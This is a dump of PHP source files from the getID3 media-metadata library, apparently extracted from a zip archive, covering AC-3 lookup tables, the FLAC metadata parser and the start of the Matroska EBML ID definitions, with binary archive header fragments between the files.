				0 => pow(2, -3.0 / 6),
				1 => pow(2, -6.0 / 6),
				2 => 0,
				3 => 'reserved'
			);
		}
		return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false);
	}

	/**
	 * @param int $dsurmod
	 *
	 * @return string|false
	 */
	public static function dolbySurroundModeLookup($dsurmod) {
		static $dolbySurroundModeLookup = array(
			0 => 'not indicated',
			1 => 'Not Dolby Surround encoded',
			2 => 'Dolby Surround encoded',
			3 => 'reserved'
		);
		return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false);
	}

	/**
	 * @param int  $acmod
	 * @param bool $lfeon
	 *
	 * @return array
	 */
	public static function channelsEnabledLookup($acmod, $lfeon) {
		$lookup = array(
			'ch1'=>($acmod == 0),
			'ch2'=>($acmod == 0),
			'left'=>($acmod > 1),
			'right'=>($acmod > 1),
			'center'=>(bool) ($acmod & 0x01),
			'surround_mono'=>false,
			'surround_left'=>false,
			'surround_right'=>false,
			'lfe'=>$lfeon);
		switch ($acmod) {
			case 4:
			case 5:
				$lookup['surround_mono']  = true;
				break;
			case 6:
			case 7:
				$lookup['surround_left']  = true;
				$lookup['surround_right'] = true;
				break;
		}
		return $lookup;
	}

	/**
	 * @param int $compre
	 *
	 * @return float|int
	 */
	public static function heavyCompression($compre) {
		// The first four bits indicate gain changes in 6.02dB increments which can be
		// implemented with an arithmetic shift operation. The following four bits
		// indicate linear gain changes, and require a 5-bit multiply.
		// We will represent the two 4-bit fields of compr as follows:
		//   X0 X1 X2 X3 . Y4 Y5 Y6 Y7
		// The meaning of the X values is most simply described by considering X to represent a 4-bit
		// signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The
		// following table shows this in detail.

		// Meaning of 4 msb of compr
		//  7    +48.16 dB
		//  6    +42.14 dB
		//  5    +36.12 dB
		//  4    +30.10 dB
		//  3    +24.08 dB
		//  2    +18.06 dB
		//  1    +12.04 dB
		//  0     +6.02 dB
		// -1         0 dB
		// -2     -6.02 dB
		// -3    -12.04 dB
		// -4    -18.06 dB
		// -5    -24.08 dB
		// -6    -30.10 dB
		// -7    -36.12 dB
		// -8    -42.14 dB

		$fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT);
		if ($fourbit[0] == '1') {
			$log_gain = -8 + bindec(substr($fourbit, 1));
		} else {
			$log_gain = bindec(substr($fourbit, 1));
		}
		$log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2);

		// The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to
		// be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can
		// represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain
		// changes from -0.28 dB to -6.02 dB.

		$lin_gain = (16 + ($compre & 0x0F)) / 32;

		// The combination of X and Y values allows compr to indicate gain changes from
		//  48.16 - 0.28 = +47.89 dB, to
		// -42.14 - 6.02 = -48.16 dB.

		return $log_gain - $lin_gain;
	}

	/**
	 * @param int $roomtyp
	 *
	 * @return string|false
	 */
	public static function roomTypeLookup($roomtyp) {
		static $roomTypeLookup = array(
			0 => 'not indicated',
			1 => 'large room, X curve monitor',
			2 => 'small room, flat monitor',
			3 => 'reserved'
		);
		return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false);
	}

	/**
	 * @param int $frmsizecod
	 * @param int $fscod
	 *
	 * @return int|false
	 */
	public static function frameSizeLookup($frmsizecod, $fscod) {
		// LSB is whether padding is used or not
		$padding     = (bool) ($frmsizecod & 0x01);
		$framesizeid =        ($frmsizecod & 0x3E) >> 1;

		static $frameSizeLookup = array();
		if (empty($frameSizeLookup)) {
			$frameSizeLookup = array (
				0  => array( 128,  138,  192),  //  32 kbps
				1  => array( 160,  174,  240),  //  40 kbps
				2  => array( 192,  208,  288),  //  48 kbps
				3  => array( 224,  242,  336),  //  56 kbps
				4  => array( 256,  278,  384),  //  64 kbps
				5  => array( 320,  348,  480),  //  80 kbps
				6  => array( 384,  416,  576),  //  96 kbps
				7  => array( 448,  486,  672),  // 112 kbps
				8  => array( 512,  556,  768),  // 128 kbps
				9  => array( 640,  696,  960),  // 160 kbps
				10 => array( 768,  834, 1152),  // 192 kbps
				11 => array( 896,  974, 1344),  // 224 kbps
				12 => array(1024, 1114, 1536),  // 256 kbps
				13 => array(1280, 1392, 1920),  // 320 kbps
				14 => array(1536, 1670, 2304),  // 384 kbps
				15 => array(1792, 1950, 2688),  // 448 kbps
				16 => array(2048, 2228, 3072),  // 512 kbps
				17 => array(2304, 2506, 3456),  // 576 kbps
				18 => array(2560, 2786, 3840)   // 640 kbps
			);
		}
		$paddingBytes = 0;
		if (($fscod == 1) && $padding) {
			// frame lengths are padded by 1 word (16 bits) at 44100
			// (fscode==1) means 44100Hz (see sampleRateCodeLookup)
			$paddingBytes = 2;
		}
		return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] + $paddingBytes : false);
	}

	/**
	 * @param int $frmsizecod
	 *
	 * @return int|false
	 */
	public static function bitrateLookup($frmsizecod) {
		// LSB is whether padding is used or not
		$padding     = (bool) ($frmsizecod & 0x01);
		$framesizeid =        ($frmsizecod & 0x3E) >> 1;

		static $bitrateLookup = array(
			 0 =>  32000,
			 1 =>  40000,
			 2 =>  48000,
			 3 =>  56000,
			 4 =>  64000,
			 5 =>  80000,
			 6 =>  96000,
			 7 => 112000,
			 8 => 128000,
			 9 => 160000,
			10 => 192000,
			11 => 224000,
			12 => 256000,
			13 => 320000,
			14 => 384000,
			15 => 448000,
			16 => 512000,
			17 => 576000,
			18 => 640000,
		);
		return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false);
	}

	/**
	 * @param int $numblkscod
	 *
	 * @return int|false
	 */
	public static function blocksPerSyncFrame($numblkscod) {
		static $blocksPerSyncFrameLookup = array(
			0 => 1,
			1 => 2,
			2 => 3,
			3 => 6,
		);
		return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false);
	}


}
PKEWd[��
4�L�Lmodule.audio.flac.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.flac.php                                       //
// module for analyzing FLAC and OggFLAC audio files           //
// dependencies: module.audio.ogg.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

/**
* @tutorial http://flac.sourceforge.net/format.html
*/
class getid3_flac extends getid3_handler
{
	const syncword = 'fLaC';

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);
		$StreamMarker = $this->fread(4);
		if ($StreamMarker != self::syncword) {
			return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
		}
		$info['fileformat']            = 'flac';
		$info['audio']['dataformat']   = 'flac';
		$info['audio']['bitrate_mode'] = 'vbr';
		$info['audio']['lossless']     = true;

		// parse flac container
		return $this->parseMETAdata();
	}

	/**
	 * @return bool
	 */
	public function parseMETAdata() {
		$info = &$this->getid3->info;
		do {
			$BlockOffset   = $this->ftell();
			$BlockHeader   = $this->fread(4);
			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));  // LBFBT = LastBlockFlag + BlockType
			$LastBlockFlag = (bool) ($LBFBT & 0x80);
			$BlockType     =        ($LBFBT & 0x7F);
			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
			$BlockTypeText = self::metaBlockTypeLookup($BlockType);

			if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
				$this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
				break;
			}
			if ($BlockLength < 1) {
				if ($BlockTypeText != 'reserved') {
					// probably supposed to be zero-length
					$this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes');
					continue;
				}
				$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
				break;
			}

			$info['flac'][$BlockTypeText]['raw'] = array();
			$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];

			$BlockTypeText_raw['offset']          = $BlockOffset;
			$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
			$BlockTypeText_raw['block_type']      = $BlockType;
			$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
			$BlockTypeText_raw['block_length']    = $BlockLength;
			if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
				$BlockTypeText_raw['block_data']  = $this->fread($BlockLength);
			}

			switch ($BlockTypeText) {
				case 'STREAMINFO':     // 0x00
					if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PADDING':        // 0x01
					unset($info['flac']['PADDING']); // ignore
					break;

				case 'APPLICATION':    // 0x02
					if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'SEEKTABLE':      // 0x03
					if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'VORBIS_COMMENT': // 0x04
					if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'CUESHEET':       // 0x05
					if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PICTURE':        // 0x06
					if (!$this->parsePICTURE()) {
						return false;
					}
					break;

				default:
					$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
			}

			unset($info['flac'][$BlockTypeText]['raw']);
			$info['avdataoffset'] = $this->ftell();
		}
		while ($LastBlockFlag === false);

		// handle tags
		if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
			$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
		}
		if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
			$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
		}

		// copy attachments to 'comments' array if nesesary
		if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
			foreach ($info['flac']['PICTURE'] as $entry) {
				if (!empty($entry['data'])) {
					if (!isset($info['flac']['comments']['picture'])) {
						$info['flac']['comments']['picture'] = array();
					}
					$comments_picture_data = array();
					foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
						if (isset($entry[$picture_key])) {
							$comments_picture_data[$picture_key] = $entry[$picture_key];
						}
					}
					$info['flac']['comments']['picture'][] = $comments_picture_data;
					unset($comments_picture_data);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO'])) {
			if (!$this->isDependencyFor('matroska')) {
				$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
			}
			$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
			if ($info['flac']['uncompressed_audio_bytes'] == 0) {
				return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
			}
			if (!empty($info['flac']['compressed_audio_bytes'])) {
				$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
			}
		}

		// set md5_data_source - built into flac 0.5+
		if (isset($info['flac']['STREAMINFO']['audio_signature'])) {

			if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
				$this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
			}
			else {
				$info['md5_data_source'] = '';
				$md5 = $info['flac']['STREAMINFO']['audio_signature'];
				for ($i = 0; $i < strlen($md5); $i++) {
					$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
				}
				if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
					unset($info['md5_data_source']);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			if ($info['audio']['bits_per_sample'] == 8) {
				// special case
				// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
				$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
			}
		}

		return true;
	}


	/**
	 * @param string $BlockData
	 *
	 * @return array
	 */
	public static function parseSTREAMINFOdata($BlockData) {
		$streaminfo = array();
		$streaminfo['min_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
		$streaminfo['max_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
		$streaminfo['min_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
		$streaminfo['max_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));

		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
		$streaminfo['sample_rate']     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
		$streaminfo['channels']        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
		$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
		$streaminfo['samples_stream']  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));

		$streaminfo['audio_signature'] =                           substr($BlockData, 18, 16);

		return $streaminfo;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSTREAMINFO($BlockData) {
		$info = &$this->getid3->info;

		$info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData);

		if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {

			$info['audio']['bitrate_mode']    = 'vbr';
			$info['audio']['sample_rate']     = $info['flac']['STREAMINFO']['sample_rate'];
			$info['audio']['channels']        = $info['flac']['STREAMINFO']['channels'];
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			$info['playtime_seconds']         = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate'];
			if ($info['playtime_seconds'] > 0) {
				if (!$this->isDependencyFor('matroska')) {
					$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
				}
				else {
					$this->warning('Cannot determine audio bitrate because total stream size is unknown');
				}
			}

		} else {
			return $this->error('Corrupt METAdata block: STREAMINFO');
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseAPPLICATION($BlockData) {
		$info = &$this->getid3->info;

		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
		$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
		$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSEEKTABLE($BlockData) {
		$info = &$this->getid3->info;

		$offset = 0;
		$BlockLength = strlen($BlockData);
		$placeholderpattern = str_repeat("\xFF", 8);
		while ($offset < $BlockLength) {
			$SampleNumberString = substr($BlockData, $offset, 8);
			$offset += 8;
			if ($SampleNumberString == $placeholderpattern) {

				// placeholder point
				getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
				$offset += 10;

			} else {

				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
				$info['flac']['SEEKTABLE'][$SampleNumber]['offset']  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
				$offset += 2;

			}
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseVORBIS_COMMENT($BlockData) {
		$info = &$this->getid3->info;

		$getid3_ogg = new getid3_ogg($this->getid3);
		if ($this->isDependencyFor('matroska')) {
			$getid3_ogg->setStringMode($this->data_string);
		}
		$getid3_ogg->ParseVorbisComments();
		if (isset($info['ogg'])) {
			unset($info['ogg']['comments_raw']);
			$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
			unset($info['ogg']);
		}

		unset($getid3_ogg);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseCUESHEET($BlockData) {
		$info = &$this->getid3->info;
		$offset = 0;
		$info['flac']['CUESHEET']['media_catalog_number'] =                              trim(substr($BlockData, $offset, 128), "\0");
		$offset += 128;
		$info['flac']['CUESHEET']['lead_in_samples']      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
		$offset += 8;
		$info['flac']['CUESHEET']['flags']['is_cd']       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
		$offset += 1;

		$offset += 258; // reserved

		$info['flac']['CUESHEET']['number_tracks']        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
		$offset += 1;

		for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
			$offset += 8;
			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset']         = $TrackSampleOffset;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc']                  =                           substr($BlockData, $offset, 12);
			$offset += 12;

			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio']     = (bool) ($TrackFlagsRaw & 0x80);
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);

			$offset += 13; // reserved

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
				$offset += 1;

				$offset += 3; // reserved

				$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
			}
		}

		return true;
	}

	/**
	 * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
	 * External usage: audio.ogg
	 *
	 * @return bool
	 */
	public function parsePICTURE() {
		$info = &$this->getid3->info;

		$picture = array();
		$picture['typeid']         = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['picturetype']    = self::pictureTypeLookup($picture['typeid']);
		$picture['image_mime']     = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
		$descr_length              = getid3_lib::BigEndian2Int($this->fread(4));
		if ($descr_length) {
			$picture['description'] = $this->fread($descr_length);
		}
		$picture['image_width']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['image_height']   = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['color_depth']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['datalength']     = getid3_lib::BigEndian2Int($this->fread(4));

		if ($picture['image_mime'] == '-->') {
			$picture['data'] = $this->fread($picture['datalength']);
		} else {
			$picture['data'] = $this->saveAttachment(
				str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(),
				$this->ftell(),
				$picture['datalength'],
				$picture['image_mime']);
		}

		$info['flac']['PICTURE'][] = $picture;

		return true;
	}

	/**
	 * @param int $blocktype
	 *
	 * @return string
	 */
	public static function metaBlockTypeLookup($blocktype) {
		static $lookup = array(
			0 => 'STREAMINFO',
			1 => 'PADDING',
			2 => 'APPLICATION',
			3 => 'SEEKTABLE',
			4 => 'VORBIS_COMMENT',
			5 => 'CUESHEET',
			6 => 'PICTURE',
		);
		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
	}

	/**
	 * @param int $applicationid
	 *
	 * @return string
	 */
	public static function applicationIDLookup($applicationid) {
		// http://flac.sourceforge.net/id.html
		static $lookup = array(
			0x41544348 => 'FlacFile',                                                                           // "ATCH"
			0x42534F4C => 'beSolo',                                                                             // "BSOL"
			0x42554753 => 'Bugs Player',                                                                        // "BUGS"
			0x43756573 => 'GoldWave cue points (specification)',                                                // "Cues"
			0x46696361 => 'CUE Splitter',                                                                       // "Fica"
			0x46746F6C => 'flac-tools',                                                                         // "Ftol"
			0x4D4F5442 => 'MOTB MetaCzar',                                                                      // "MOTB"
			0x4D505345 => 'MP3 Stream Editor',                                                                  // "MPSE"
			0x4D754D4C => 'MusicML: Music Metadata Language',                                                   // "MuML"
			0x52494646 => 'Sound Devices RIFF chunk storage',                                                   // "RIFF"
			0x5346464C => 'Sound Font FLAC',                                                                    // "SFFL"
			0x534F4E59 => 'Sony Creative Software',                                                             // "SONY"
			0x5351455A => 'flacsqueeze',                                                                        // "SQEZ"
			0x54745776 => 'TwistedWave',                                                                        // "TtWv"
			0x55495453 => 'UITS Embedding tools',                                                               // "UITS"
			0x61696666 => 'FLAC AIFF chunk storage',                                                            // "aiff"
			0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks',  // "imag"
			0x7065656D => 'Parseable Embedded Extensible Metadata (specification)',                             // "peem"
			0x71667374 => 'QFLAC Studio',                                                                       // "qfst"
			0x72696666 => 'FLAC RIFF chunk storage',                                                            // "riff"
			0x74756E65 => 'TagTuner',                                                                           // "tune"
			0x78626174 => 'XBAT',                                                                               // "xbat"
			0x786D6364 => 'xmcd',                                                                               // "xmcd"
		);
		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
	}

	/**
	 * @param int $type_id
	 *
	 * @return string
	 */
	public static function pictureTypeLookup($type_id) {
		static $lookup = array (
			 0 => 'Other',
			 1 => '32x32 pixels \'file icon\' (PNG only)',
			 2 => 'Other file icon',
			 3 => 'Cover (front)',
			 4 => 'Cover (back)',
			 5 => 'Leaflet page',
			 6 => 'Media (e.g. label side of CD)',
			 7 => 'Lead artist/lead performer/soloist',
			 8 => 'Artist/performer',
			 9 => 'Conductor',
			10 => 'Band/Orchestra',
			11 => 'Composer',
			12 => 'Lyricist/text writer',
			13 => 'Recording Location',
			14 => 'During recording',
			15 => 'During performance',
			16 => 'Movie/video screen capture',
			17 => 'A bright coloured fish',
			18 => 'Illustration',
			19 => 'Band/artist logotype',
			20 => 'Publisher/Studio logotype',
		);
		return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
	}

}
PKEWd[�/֋���module.audio-video.matroska.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.matriska.php                             //
// module for analyzing Matroska containers                    //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('EBML_ID_CHAPTERS',                  0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation.
define('EBML_ID_SEEKHEAD',                  0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements.
define('EBML_ID_TAGS',                      0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
define('EBML_ID_INFO',                      0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
define('EBML_ID_TRACKS',                    0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described.
define('EBML_ID_SEGMENT',                   0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment.
define('EBML_ID_ATTACHMENTS',               0x0941A469); // [19][41][A4][69] -- Contain attached files.
define('EBML_ID_EBML',                      0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this.
define('EBML_ID_CUES',                      0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment.
define('EBML_ID_CLUSTER',                   0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
define('EBML_ID_LANGUAGE',                    0x02B59C); //     [22][B5][9C] -- Specifies the language of the track in the Matroska languages form.
define('EBML_ID_TRACKTIMECODESCALE',          0x03314F); //     [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
define('EBML_ID_DEFAULTDURATION',             0x03E383); //     [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame.
define('EBML_ID_CODECNAME',                   0x058688); //     [25][86][88] -- A human-readable string specifying the codec.
define('EBML_ID_CODECDOWNLOADURL',            0x06B240); //     [26][B2][40] -- A URL to download about the codec used.
define('EBML_ID_TIMECODESCALE',               0x0AD7B1); //     [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds).
define('EBML_ID_COLOURSPACE',                 0x0EB524); //     [2E][B5][24] -- Same value as in AVI (32 bits).
define('EBML_ID_GAMMAVALUE',                  0x0FB523); //     [2F][B5][23] -- Gamma Value.
define('EBML_ID_CODECSETTINGS',               0x1A9697); //     [3A][96][97] -- A string describing the encoding setting used.
define('EBML_ID_CODECINFOURL',                0x1B4040); //     [3B][40][40] -- A URL to find information about the codec used.
define('EBML_ID_PREVFILENAME',                0x1C83AB); //     [3C][83][AB] -- An escaped filename corresponding to the previous segment.
define('EBML_ID_PREVUID',                     0x1CB923); //     [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
define('EBML_ID_NEXTFILENAME',                0x1E83BB); //     [3E][83][BB] -- An escaped filename corresponding to the next segment.
define('EBML_ID_NEXTUID',                     0x1EB923); //     [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits).
define('EBML_ID_CONTENTCOMPALGO',               0x0254); //         [42][54] -- The compression algorithm used. Algorithms that have been specified so far are:
define('EBML_ID_CONTENTCOMPSETTINGS',           0x0255); //         [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track.
define('EBML_ID_DOCTYPE',                       0x0282); //         [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case).
define('EBML_ID_DOCTYPEREADVERSION',            0x0285); //         [42][85] -- The minimum DocType version an interpreter has to support to read this file.
define('EBML_ID_EBMLVERSION',                   0x0286); //         [42][86] -- The version of EBML parser used to create the file.
define('EBML_ID_DOCTYPEVERSION',                0x0287); //         [42][87] -- The version of DocType interpreter used to create the file.
define('EBML_ID_EBMLMAXIDLENGTH',               0x02F2); //         [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska).
define('EBML_ID_EBMLMAXSIZELENGTH',             0x02F3); //         [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid.
define('EBML_ID_EBMLREADVERSION',               0x02F7); //         [42][F7] -- The minimum EBML version a parser has to support to read this file.
define('EBML_ID_CHAPLANGUAGE',                  0x037C); //         [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form.
define('EBML_ID_CHAPCOUNTRY',                   0x037E); //         [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains.
define('EBML_ID_SEGMENTFAMILY',                 0x0444); //         [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits).
define('EBML_ID_DATEUTC',                       0x0461); //         [44][61] -- Date of the origin of timecode (value 0), i.e. production date.
define('EBML_ID_TAGLANGUAGE',                   0x047A); //         [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
define('EBML_ID_TAGDEFAULT',                    0x0484); //         [44][84] -- Indication to know if this is the default/original language to use for the given tag.
define('EBML_ID_TAGBINARY',                     0x0485); //         [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString.
define('EBML_ID_TAGSTRING',                     0x0487); //         [44][87] -- The value of the Tag.
define('EBML_ID_DURATION',                      0x0489); //         [44][89] -- Duration of the segment (based on TimecodeScale).
